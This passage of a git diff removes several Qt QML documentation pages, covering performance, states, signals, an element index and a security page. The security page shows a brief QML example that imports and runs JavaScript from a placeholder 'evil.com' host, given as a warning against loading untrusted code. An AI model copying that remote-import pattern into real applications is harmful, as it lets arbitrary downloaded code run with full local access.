fastest -performance for all use-cases, it typically has \b{consistently good} performance for -all use-cases. In contrast, only using the raster paint engine may result in very good -performance for parts of your application and very poor performance elsewhere. - -The QML Viewer uses the raster graphics system by default for X11 and OS X. It also -includes a \c -opengl command line option which sets a QGLWidget as the viewport of the -view. On OS X, a QGLWidget is always used. - -You can also prevent QDeclarativeView from painting its window background if -you will provide the background of your application using QML, e.g. - -\code -QDeclarativeView window; -window.setAttribute(Qt::WA_OpaquePaintEvent); -window.setAttribute(Qt::WA_NoSystemBackground); -window.viewport()->setAttribute(Qt::WA_OpaquePaintEvent); -window.viewport()->setAttribute(Qt::WA_NoSystemBackground); -\endcode - -*/ diff --git a/doc/src/declarative/qdeclarativesecurity.qdoc b/doc/src/declarative/qdeclarativesecurity.qdoc deleted file mode 100644 index f3c958fc..00000000 --- a/doc/src/declarative/qdeclarativesecurity.qdoc +++ /dev/null @@ -1,80 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativesecurity.html -\title QML Security -\section1 QML Security - -The QML security model is that QML content is a chain of trusted content: the user -installs QML content that they trust in the same way as they install native Qt applications, -or programs written with runtimes such as Python and Perl. That trust is establish by any -of a number of mechanisms, including the availability of package signing on some platforms. - -In order to preserve the trust of users, developers producing QML content should not execute -arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elements. - -For example, this QML content: - -\qml -import QtQuick 1.0 -import "http://evil.com/evil.js" as Evil - -Component { - onLoaded: Evil.doEvil() -} -\endqml - -is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution -environment of QML does not try to stop any particular accesses, including local file system -access, just as for any native Qt application, so the "doEvil" function could do the same things -as a native Qt application, a Python application, a Perl script, etc. - -As with any application accessing other content beyond it's control, a QML application should -perform appropriate checks on untrusted data it loads. - -A non-exhaustive list of the ways you could shoot yourself in the foot is: - -\list - \li Using \c import to import QML or JavaScript you do not control. BAD - \li Using \l Loader to import QML you do not control. BAD - \li Using \l{XMLHttpRequest}{XMLHttpRequest} to load data you do not control and executing it. BAD -\endlist - -However, the above does not mean that you have no use for the network transparency of QML. -There are many good and useful things you \e can do: - -\list - \li Create \l Image elements with source URLs of any online images. GOOD - \li Use XmlListModel to present online content. GOOD - \li Use \l{XMLHttpRequest}{XMLHttpRequest} to interact with online services. GOOD -\endlist - -The only reason this page is necessary at all is that JavaScript, when run in a \e{web browser}, -has quite many restrictions. With QML, you should neither rely on similar restrictions, nor -worry about working around them. -*/ diff --git a/doc/src/declarative/qdeclarativestates.qdoc b/doc/src/declarative/qdeclarativestates.qdoc deleted file mode 100644 index 22b6d762..00000000 --- a/doc/src/declarative/qdeclarativestates.qdoc +++ /dev/null @@ -1,158 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativestates.html -\ingroup qml-features -\contentspage QML Features -\previouspage {Importing Reusable Components} -\nextpage {QML Animation and Transitions}{Animation and Transitions} -\target qmlstates -\title QML States - -\section1 States Elements -\list -\li \l State -\li \l PropertyChanges -\li \l StateGroup -\li \l StateChangeScript -\li \l ParentChange -\li \l AnchorChanges -\endlist - -Many user interface designs are \e state driven; interfaces have configurations -that differ depending on the current state. For example, a traffic signal will -configure its flags or lights depending on its state. While in the signal's -\c stop state, a red light will turn on while the yellow and the green lights -will turn off. In the \c caution state, the yellow light is on while the other -lights are turned off. - -In QML, \e states are a set of property configurations defined in a \l State -element. Different configurations could, for example: - -\list -\li Show some UI elements and hide others -\li Present different available actions to the user -\li Start, stop, or pause animations -\li Execute some script required in the new state -\li Change a property value for a particular item -\li Show a different view or screen -\endlist - -All \l {Item}-based objects have a \c state property, and can specify additional -states by adding new \c State objects to the item's \l {Item::}{states} -property. Each state within a component has a unique \c name, an empty string -being the default. To change the current state -of an item, set the \l {Item::}{state} property to the name of the state. - -Non-Item objects may use states through the \l StateGroup element. - -\section1 Creating States - -To create a state, add a \l State object to the item's \l {Item::}{states} property, -which holds a list of states for that item. - -A warning \c signal component may have two states, the \c NORMAL and the -\c CRITICAL state. Suppose that in the \c NORMAL state, the \c color of the -signal should be \c green and the warning \c flag is down. Meanwhile, in the -\c CRITICAL state, the \c color should be \c red and the flag is \c up. We may -model the states using the \c State element and the color and flag -configurations with the \c PropertyChanges element. -\snippet doc/src/snippets/declarative/states.qml signal states -The \l PropertyChanges element will change the values of object properties. -Objects are referenced through their \l {qml-id-property}{id}. Objects outside -the component are also referenced using the \c id property, exemplified by the -property change to the external \c flag object. - -Further, the state may change by assigning the \c state property with the -appropriate signal state. A state switch could be in a \l MouseArea element, -assigning a different state whenever the signal receives a mouse click. -\snippet doc/src/snippets/declarative/states.qml switch states - -The State element is not limited to performing modifications on property values. -It can also: -\list -\li Run some script using \l StateChangeScript -\li Override an existing signal handler for an object using \l PropertyChanges -\li Re-parent an \l Item using \l ParentChange -\li Modify anchor values using \l AnchorChanges -\endlist - -\section1 The Default State - -Every \l Item based component has a \c state property and a \e{default state}. -The default state is the empty string (\c{""}) and contains all of an item's -initial property values. The default state is useful for managing property -values before state changes. Setting the \c state property to an empty string -will load the default state. - -\section1 The \c when Property - -For convenience, the \l State element has a \c when property that can bind to -expressions to change the state whenever the bound expression evaluates to -\c true. The \c when property will revert the state back to the -\l {The Default State}{default state} when the expression evaluates to false. - -\snippet doc/src/snippets/declarative/states.qml when property -The \c bell component will change to the \c RINGING state whenever the -\c signal.state is \c CRITICAL. - -\section1 Animating State Changes - -State changes induce abrupt value changes. The \l Transition element allow -smoother changes during state changes. In transitions, animations and -interpolation behaviors are definable. The -\l {QML Animation and Transitions}{Animation and Transitions} article has more -information about creating state animations. - -The \l {declarative/animation/states}{States and Transitions example} -demonstrates how to declare a basic set of states and apply animated -transitions between them. - -\l{Using QML Behaviors with States} explains a common problem when using Behaviors -to animate state changes. - -\section1 State Fast Forwarding - -In order for Transition to correctly animate state changes, it is sometimes necessary -for the engine to fast forward and rewind a state (that is, internally set and unset the state) -before it is finally applied. The process is as follows: - -\list 1 -\li The state is fast forwarded to determine the complete set of end values. -\li The state is rewound. -\li The state is fully applied, with transitions. -\endlist - -In some cases this may cause unintended behavior. For example, a state that changes -a view's \e model or a Loader's \e sourceComponent will set these properties -multiple times (to apply, rewind, and then reapply), which can be relatively expensive. - -State fast forwarding should be considered an implementation detail, -and may change in later versions. - -*/ diff --git a/doc/src/declarative/qmlevents.qdoc b/doc/src/declarative/qmlevents.qdoc deleted file mode 100644 index 1acbd37f..00000000 --- a/doc/src/declarative/qmlevents.qdoc +++ /dev/null @@ -1,127 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qmlevents.html -\ingroup qml-features -\contentspage QML Features -\previouspage {Keyboard Focus in Qt Quick 1}{Keyboard Focus} -\nextpage Importing Reusable Components - -\title QML Signal and Handler Event System - -QML utilizes Qt's \l{The Meta-Object System}{meta-object} and -\l{Signals & Slots}{signals} systems. Signals and slots created using Qt in C++ -are inheritely valid in QML. - -\keyword qml-signals-and-handlers -\section1 Signals and Handlers - -Signals provide a way to notify other objects when an event has occurred. For -example, the MouseArea \c clicked signal notifies other objects that the mouse -has been clicked within the area. - -The syntax for defining a new signal is: - -\tt{signal <name>[([<type> <parameter name>[, ...]])]} - -Attempting to declare two signals or methods with the same name in the same type -block generates an error. However, a new signal may reuse the name of an existing signal on the type. (This should be done with caution, as the existing signal may be hidden and become inaccessible.) - -Here are various examples of signal declarations: -\snippet doc/src/snippets/declarative/events.qml parent begin -\snippet doc/src/snippets/declarative/events.qml signal declaration -\snippet doc/src/snippets/declarative/events.qml parent end - -If the signal has no parameters, the "\c{()}" brackets are optional. If -parameters are used, the parameter types must be declared, as for the \c string -and \c variant arguments of the \c perform signal. - -Adding a signal to an item automatically adds a \e{signal handler} as well. The -signal hander is named \c on<SignalName>, with the first letter of the signal in -uppercase. The previous signals have the following signal handlers: -\snippet doc/src/snippets/declarative/events.qml signal handler declaration - -Further, each QML properties have a \c{<property_name>Changed} signal and its -corresponding \c{on<property_name>Changed} signal handler. As a result, property -changes may notify other components for any changes. -\snippet doc/src/snippets/declarative/events.qml automatic signals - -To emit a signal, invoke it as a method. The signal handler binding is similar -to a property binding and it is invoked when the signal is emitted. Use the -defined argument names to access the respective arguments. -\snippet doc/src/snippets/declarative/events.qml signal emit -Note that the \c Component.onCompleted is an -\l{attached-signalhandlers}{attached signal handler}; it is invoked when the -\l Component initialization is complete. - -\keyword qml-connect-signals-to-method -\section2 Connecting Signals to Methods and Signals - -Signal objects have a \c connect() method to a connect a signal either to a -method or another signal. When a signal is connected to a method, the method is -automatically invoked whenever the signal is emitted. (In Qt terminology, the -method is a \e slot that is connected to the \e signal; all methods defined in -QML are created as \l{Signals & Slots}{Qt slots}.) This enables a signal -to be received by a method instead of a \l {Signal Handlers}{signal handler}. - -\snippet doc/src/snippets/declarative/events.qml connect method -The \c {connect()} method is appropriate when connecting a JavaScript method to -a signal. - -There is a corresponding \c disconnect() method for removing connected -signals. - -\section3 Signal to Signal Connect - -By connecting signals to other signals, the \c connect() method can form different -signal chains. -\snippet doc/src/snippets/declarative/events.qml forward signal - - -Whenever the \l MouseArea \c clicked signal is emitted, the \c send -signal will automatically be emitted as well. - -\code -output: - MouseArea clicked - Send clicked -\endcode - -\section1 C++ Additions - -Because QML uses Qt, a signal defined in C++ also works as a QML signal. The -signal may be emitted in QML code or called as a method. In addition, the QML -runtime automatically creates signal handlers for the C++ signals. For more -signal control, the \c connect() method and the \l Connections element may connect -a C++ signal to another signal or method. - -For complete information on how to call C++ functions in QML, read the -\l{Extending QML - Signal Support Example}. - - -*/ diff --git a/doc/src/declarative/qmlinuse.qdoc b/doc/src/declarative/qmlinuse.qdoc deleted file mode 100644 index 2a4f591a..00000000 --- a/doc/src/declarative/qmlinuse.qdoc +++ /dev/null @@ -1,499 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qmlinuse.html -\title Using QML elements - -\raw HTML - <div class="item group"> - <div class="secondaryx"> - <div class="toc"> - <h3> - <a name="toc">QML Elements</a></h3> - <ul> - <li class="level1"><a href="#basicElements">Basic QML Elements</a></li> - <li class="level1"><a href="#visualElements">QML Visual Elements</a></li> - <li class="level1"><a href="#AnimAndTrans">QML Animation and Transition Elements</a></li> - <li class="level1"><a href="#interactElement">Basic QML Interaction Elements</a></li> - <li class="level1"><a href="#eventElements">QML Event Elements</a></li> - <li class="level1"><a href="#Position">QML Positioning Elements</a></li> - <li class="level1"><a href="#stateElement">QML State Elements</a></li> - <li class="level1"><a href="#transformElement">QML Transform Elements</a></li> - <li class="level1"><a href="#utilityElement">QML Utility Elements</a></li> - <li class="level1"><a href="#modelView">Models and View Elements</a></li> - <li class="level1"><a href="#paths">Paths</a></li> - <li class="level1"><a href="#ParticleElement">Particle Elements</a></li> - <li class="level1"><a href="#bridge">Bridge Elements</a></li> - </ul> - </div> - </div> - <div class="primary"> - <h1> - Groups Of Related QML Elements</h1> - <p> - QML Elements are grouped by their respective functionalities. Certain elements are - suited for building complex components while other elements strictly dictate appearances - and color.</p> - <div class="cols two group unclear"> - <div class="col first"> - <p> - <i>add something about elements in use in general</i></p> - </div> - <div class="col"> - <img src="images/quick_screens.png" /> - </div> - </div> - </div> - </div> - <!-- tech domains start --> - <div class="item group"> - <hr /> - <div class="secondary"> - <div class="box"> - <!-- video box --> - <h3> - image heading</h3> - <img src="" /> - <p> - img descr.</p> - </div> - <!-- video box end --> - </div> - <div class="primary"> - <h2><a name="basicElements"> Basic QML Elements</a></h2> - <p> - Basic elements can be extended to form more complex elements.</p> - <b>Elements:</b> - <ul> - <li><a href="qml-item.html">Item Element</a> - - The Item is the most basic of all visual items in QML. Many visual elements inherit - properties from the Item element.</li> - <li><a href="qml-component.html">Component Element</a> - - The Component element encapsulates a QML component definition.</li> - </ul> - </div> - </div> - <!-- next --> - <div class="item group"> - <hr /> - <div class="secondary"> - <div class="box"> - <!-- video box --> - <h3> - image heading</h3> - <img src="" /> - <p> - img descr.</p> - </div> - <!-- video box end --> - </div> - <div class="primary"> - <h2><a name="visualElements">QML Visual Elements</a></h2> - <p> - Visual elements offer various interactive and graphical functionalities. Visual - elements can directly set properties that dictate appearances.</p> - <b>Elements:</b> - <ul> - <li><a href="qml-borderimage.html">BorderImage - Element</a> - The BorderImage element provides an image that can be used as a border.</li> - <li><a href="qml-gradient.html">Gradient Element</a> - - The Gradient item defines a gradient fill.</li> - <li><a href="qml-gradientstop.html">GradientStop - Element</a> - The GradientStop item defines the color at a position in a Gradient.</li> - <li><a href="qml-image.html">Image Element</a> - - The Image element displays an image from a source.</li> - <li><a href="qml-rectangle.html">Rectangle Element</a> - - The Rectangle item provides a filled rectangle.</li> - <li><a href="qml-text.html">Text Element</a> - - The Text item allows the addition of formatted text to a scene.</li> - <li><a href="qml-textedit.html">TextEdit Element</a> - - The TextEdit item displays multiple lines of editable formatted text.</li> - <li><a href="qml-textinput.html">TextInput Element</a> - - The TextInput item displays an editable line of text.</li> - </ul> - </div> - </div> - <!-- next --> - <div class="item group"> - <hr /> - <div class="secondary"> - <div class="box"> - <!-- video box --> - <h3> - image heading</h3> - <img src="" /> - <p> - img descr.</p> - </div> - <!-- video box end --> - </div> - <div class="primary"> - <h2><a name="AnimAndTrans">QML Animation and Transition Elements</a></h2> - <p> - Animation and transition elements control animation behaviors. Animations can run - in parallel or in series for different value types. - </p> - <b>Elements:</b> - <ul> - <li><a href="qml-anchoranimation.html">AnchorAnimation Element</a> - - The AnchorAnimation element animates changes in anchor values.</li> - <li><a href="qml-animation.html">Animation Element</a> - The Animation - element is the base of all QML animations.</li> - <li><a href="qml-behavior.html">Behavior Element</a> - The Behavior element allows you to specify a default animation for a property change.</li> - <li><a href="qml-coloranimation.html">ColorAnimation Element</a> - The ColorAnimation element animates changes in color values.</li> - <li><a href="qml-numberanimation.html">NumberAnimation Element</a> - The NumberAnimation element animates changes in qreal-type values.</li> - <li><a href="qml-parallelanimation.html">ParallelAnimation Element</a> - The ParallelAnimation element allows animations to be run in parallel.</li> - <li><a href="qml-parentanimation.html">ParentAnimation Element</a> - The ParentAnimation element animates changes in parent values.</li> - <li><a href="qml-pauseanimation.html">PauseAnimation Element</a> - The PauseAnimation element provides a pause during an animation.</li> - <li><a href="qml-propertyaction.html">PropertyAction Element</a> - The PropertyAction element allows immediate property changes during animation.</li> - <li><a href="qml-propertyanimation.html">PropertyAnimation Element</a> - The PropertyAnimation element animates changes in property values.</li> - <li><a href="qml-rotationanimation.html">RotationAnimation Element</a> - The RotationAnimation element animates changes in rotational values.</li> - <li><a href="qml-scriptaction.html">ScriptAction Element</a> - The ScriptAction element allows scripts to be run during an animation.</li> - <li><a href="qml-sequentialanimation.html">SequentialAnimation Element</a> - The SequentialAnimation element allows animations to be run sequentially.</li> - <li><a href="qml-smoothedanimation.html">SmoothedAnimation Element</a> - The SmoothedAnimation element allows a property to smoothly track a value.</li> - <li><a href="qml-springanimation.html">SpringAnimation Element</a> - The SpringAnimation element allows a property to track a value in a spring-like - motion.</li> - <li><a href="qml-transition.html">Transition Element</a> - The Transition element defines animated transitions that occur on state changes.</li> - <li><a href="qml-vector3danimation.html">Vector3dAnimation Element</a> - The Vector3dAnimation element animates changes in QVector3d values.</li> - </ul> - </div> - </div> - <!-- next --> - <div class="item group"> - <hr /> - <div class="secondary"> - <div class="box"> - <!-- video box --> - <h3> - image heading</h3> - <img src="" /> - <p> - img descr.</p> - </div> - <!-- video box end --> - </div> - <div class="primary"> - <h2><a name="interactElement">QML Interaction Elements</a></h2> - <p> - These elements define basic interactions such as touch movements and focus management.</p> - <b>Elements:</b> - <ul> - <li><a href="qml-flickable.html">Flickable Element</a> - The Flickable item provides a surface that can be "flicked".</li> - <li><a href="qml-flipable.html">Flipable Element</a> - The Flipable item provides a surface that can be flipped or reflected.</li> - <li><a href="qml-focuspanel.html">FocusPanel Element</a> - The FocusPanel item explicitly creates a focus panel.</li> - <li><a href="qml-focusscope.html">FocusScope Element</a> - The FocusScope object explicitly creates a focus scope for focus management.</li> - <li><a href="qml-pincharea.html">PinchArea Element</a> - The PinchArea item enables simple pinch gesture handling.</li> - <li><a href="qml-keynavigation.html">KeyNavigation Element</a> - The KeyNavigation attached property supports key navigation by arrow keys.</li> - <li><a href="qml-keys.html">Keys Element</a> - The Keys attached property provides key handling to Items.</li> - <li><a href="qml-mousearea.html">MouseArea Element</a> - The MouseArea item enables simple mouse handling.</li> - </ul> - </div> - </div> - <!-- next --> - <div class="item group"> - <hr /> - <div class="secondary"> - <div class="box"> - <!-- video box --> - <h3> - image heading</h3> - <img src="" /> - <p> - img descr.</p> - </div> - <!-- video box end --> - </div> - <div class="primary"> - <h2><a name="eventElements">QML Event Elements</a></h2> - <p> - Key and mouse events information are provided in these event elements.</p> - <b>Elements:</b> - <ul> - <li><a href="qml-keyevent.html">KeyEvent Element</a> - The KeyEvent - object provides information about a key event.</li> - <li><a href="qml-mouseevent.html">MouseEvent Element</a> - The MouseEvent - object provides information about a mouse event.</li> - </ul> - </div> - </div> - <!-- next --> - <div class="item group"> - <hr /> - <div class="secondary"> - <div class="box"> - <!-- video box --> - <h3> - image heading</h3> - <img src="" /> - <p> - img descr.</p> - </div> - <!-- video box end --> - </div> - <div class="primary"> - <h2><a name="Position">QML Positioning Elements</a></h2> - <p> - Using positioning elements, layouts can be defined and their children accessed through - an index.</p> - <b>Elements:</b> - <ul> - <li><a href="qml-column.html">Column Element</a> - The Column - item arranges its children vertically.</li> - <li><a href="qml-flow.html">Flow Element</a> - The Flow item - arranges its children side by side, wrapping as necessary.</li> - <li><a href="qml-grid.html">Grid Element</a> - The Grid item - positions its children in a grid.</li> - <li><a href="qml-row.html">Row Element</a> - The Row item - arranges its children horizontally.</li> - <li><a href="qml-repeater.html">Repeater Element</a> - The Repeater element allows you to repeat an Item-based component using a model.</li> - </ul> - </div> - </div> - <!-- next --> - <div class="item group"> - <hr /> - <div class="secondary"> - <div class="box"> - <!-- video box --> - <h3> - image heading</h3> - <img src="" /> - <p> - img descr.</p> - </div> - <!-- video box end --> - </div> - <div class="primary"> - - <h2><a name="stateElement">QML State Elements</a></h2> - <p> - States and groups of states are formed using state elements.</p> - <b>Elements:</b> - <ul> - <li><a href="qml-anchorchanges.html">AnchorChanges Element</a> - The AnchorChanges element allows you to change the anchors of an item in a state.</li> - <li><a href="qml-parentchange.html">ParentChange Element</a> - The ParentChange element allows you to reparent an Item in a state change.</li> - <li><a href="qml-propertychanges.html">PropertyChanges Element</a> - The PropertyChanges element describes new property bindings or values for a state.</li> - <li><a href="qml-state.html">State Element</a> - The State - element defines configurations of objects and properties.</li> - <li><a href="qml-statechangescript.html">StateChangeScript Element</a> - The StateChangeScript element allows you to run a script in a state.</li> - <li><a href="qml-stategroup.html">StateGroup Element</a> - The StateGroup element provides state support for non-Item elements.</li> - </ul> - </div> - </div> - <!-- next --> - <div class="item group"> - <hr /> - <div class="secondary"> - <div class="box"> - <!-- video box --> - <h3> - image heading</h3> - <img src="" /> - <p> - img descr.</p> - </div> - <!-- video box end --> - </div> - <div class="primary"> - <h2><a name="transformElement">QML Transform Elements</a></h2> - <p> - Advanced handling of transformations is controlled in transform elements.</p> - <b>Elements:</b> - <ul> - <li><a href="qml-rotation.html">Rotation Element</a> - The Rotation object provides a way to rotate an Item.</li> - <li><a href="qml-scale.html">Scale Element</a> - The Scale element provides a way to scale an Item.</li> - <li><a href="qml-transform.html">Transform Element</a> - The Transform element provide a way of building advanced transformations on Items.</li> - <li><a href="qml-translate.html">Translate Element</a> - The Translate object provides a way to move an Item without changing its x or y properties.</li> - </ul> - </div> - </div> - <!-- next --> - <div class="item group"> - <hr /> - <div class="secondary"> - <div class="box"> - <!-- video box --> - <h3> - image heading</h3> - <img src="" /> - <p> - img descr.</p> - </div> - <!-- video box end --> - </div> - <div class="primary"> - <h2><a name="utilityElement">QML Utility Elements</a></h2> - <p> - These elements handle assorted operations such as event timing, Qt enumerations, - and font loading.</p> - <b>Elements:</b> - <ul> - <li><a href="qml-binding.html">Binding Element</a> - The Binding element allows arbitrary property bindings to be created.</li> - <li><a href="qml-connections.html">Connections Element</a> - A Connections element describes generalized connections to signals.</li> - <li><a href="qml-doublevalidator.html">DoubleValidator Element</a> - Provides a validator for non-integer numbers.</li> - <li><a href="qml-fontloader.html">FontLoader Element</a> - The FontLoader element allows fonts to be loaded by name or URL.</li> - <li><a href="qml-intvalidator.html">IntValidator Element</a> - This element provides a validator for integer values.</li> - <li><a href="qml-layoutitem.html">LayoutItem Element</a> - The LayoutItem element allows declarative UI elements to be placed inside Qt's Graphics View layouts.</li> - <li><a href="qml-loader.html">Loader Element</a> - The Loader item allows dynamically loading an Item-based subtree from a URL or Component.</li> - <li><a href="qml-package.html">Package Element</a> - Package provides a bundle for shared contexts in multiple views.</li> - <li><a href="qml-qt.html">Qt Element</a> - The QML global Qt object provides useful enums and functions from Qt.</li> - <li><a href="qml-qtobject.html">QtObject Element</a> - The QtObject element is the most basic element in QML.</li> - <li><a href="qml-regexpvalidator.html">RegExpValidator Element</a> - This element provides a validator for regular expressions.</li> - <li><a href="qml-systempalette.html">SystemPalette Element</a> - The SystemPalette element provides access to the Qt palettes.</li> - <li><a href="qml-timer.html">Timer Element</a> - The Timer item triggers a handler at a specified interval.</li> - <li><a href="qml-workerscript.html">WorkerScript Element</a> - The WorkerScript element enables the use of threads in QML.</li> - </ul> - </div> - </div> - <!-- next --> - <div class="item group"> - <hr /> - <div class="secondary"> - <div class="box"> - <!-- video box --> - <h3> - image heading</h3> - <img src="" /> - <p> - img descr.</p> - </div> - <!-- video box end --> - </div> - <div class="primary"> - <h2><a name="modelView">Models and View Elements</a></h2> - <p> - Models and views are used to organize data and control their layouts using delegates. - Models dictate the data formation and views control the layouts of data in the model.</p> - <b>View Elements:</b> - <ul> - <li><a href="qml-gridview.html">GridView Element</a> - The GridView item provides a grid view of items provided by a model.</li> - <li><a href="qml-listview.html">ListView Element</a> - The ListView item provides a list view of items provided by a model.</li> - <li><a href="qml-pathview.html">PathView Element</a> - The PathView element lays out model-provided items on a path.</li> - <li><a href="qml-webview.html">WebView Element</a> - The WebView item allows you to add Web content to a canvas.</li> - </ul> - <b>Model Elements:</b> - <ul> - <li><a href="qml-folderlistmodel.html">FolderListModel Element</a> - The FolderListModel provides a model of the contents of a file system folder.</li> - <li><a href="qml-listelement.html">ListElement Element</a> - A ListElement defines a data item in a ListModel.</li> - <li><a href="qml-listmodel.html">ListModel Element</a> - The ListModel element defines a free-form list data source.</li> - <li><a href="qml-visualdatamodel.html">VisualDataModel Element</a> - The VisualDataModel encapsulates a model and delegate.</li> - <li><a href="qml-visualitemmodel.html">VisualItemModel Element</a> - The VisualItemModel allows items to be provided to a view.</li> - <li><a href="qml-xmllistmodel.html">XmlListModel Element</a> - The XmlListModel element is used to specify a model using XPath expressions.</li> - <li><a href="qml-xmlrole.html">XmlRole Element</a> - The XmlRole element allows you to specify a role for an XmlListModel.</li> - </ul> - </div> - </div> - <!-- next --> - <div class="item group"> - <hr /> - <div class="secondary"> - <div class="box"> - <!-- video box --> - <h3> - image heading</h3> - <img src="" /> - <p> - img descr.</p> - </div> - <!-- video box end --> - </div> - <div class="primary"> - <h2><a name="paths">Paths</a></h2> - <p> - QML components can be arranged along paths. Path elements allow control over different - path types.</p> - <b>Elements:</b> - <ul> - <li><a href="qml-path.html">Path Element</a> - A Path object defines a path for use by PathView.</li> - <li><a href="qml-pathattribute.html">PathAttribute Element</a> - The PathAttribute allows setting an attribute at a given position in a Path.</li> - <li><a href="qml-pathcubic.html">PathCubic Element</a> - The PathCubic defines a cubic Bezier curve with two control points.</li> - <li><a href="qml-pathelement.html">PathElement Element</a> - PathElement is the base path type.</li> - <li><a href="qml-pathline.html">PathLine Element</a> - The PathLine defines a straight line.</li> - <li><a href="qml-pathpercent.html">PathPercent Element</a> - The PathPercent manipulates the way a path is interpreted.</li> - <li><a href="qml-pathquad.html">PathQuad Element</a> - The PathQuad defines a quadratic Bezier curve with a control point.</li> - </ul> - </div> - </div> - <!-- next --> - <div class="item group"> - <hr /> - <div class="secondary"> - <div class="box"> - <!-- video box --> - <h3> - image heading</h3> - <img src="" /> - <p> - img descr.</p> - </div> - <!-- video box end --> - </div> - <div class="primary"> - <h2><a name="ParticleElement">Particle Elements</a></h2> - <p> - Particle effects are declared and controlled using particle elements.</p> - <b>Elements:</b> - <ul> - <li><a href="qml-particlemotiongravity.html">ParticleMotionGravity Element</a> - The ParticleMotionGravity object moves particles towards a point.</li> - <li><a href="qml-particlemotionlinear.html">ParticleMotionLinear Element</a> - The ParticleMotionLinear object moves particles linearly.</li> - <li><a href="qml-particlemotionwander.html">ParticleMotionWander Element</a> - The ParticleMotionWander object moves particles in a somewhat random fashion.</li> - <li><a href="qml-particles.html">Particles Element</a> - The Particles object generates and moves particles.</li> - </ul> - </div> - </div> - <!-- next --> - <div class="item group"> - <hr /> - <div class="secondary"> - <div class="box"> - <!-- video box --> - <h3> - image heading</h3> - <img src="" /> - <p> - img descr.</p> - </div> - <!-- video box end --> - </div> - <div class="primary"> - <h2><a name="bridge">Bridge Elements</a></h2> - <p> - Bridge elements allow direct communication between C++ and QML entities.</p> - <b>Elements:</b> - <ul> - <li><a href="qml-layoutitem.html">LayoutItem Element</a> - The LayoutItem element allows declarative UI elements to be placed inside Qt's Graphics View layouts.</li> - </ul> - </div> - </div> - -\endraw - - - -*/ - diff --git a/doc/src/declarative/qmlreusablecomponents.qdoc b/doc/src/declarative/qmlreusablecomponents.qdoc deleted file mode 100644 index 404c6aa7..00000000 --- a/doc/src/declarative/qmlreusablecomponents.qdoc +++ /dev/null @@ -1,143 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - 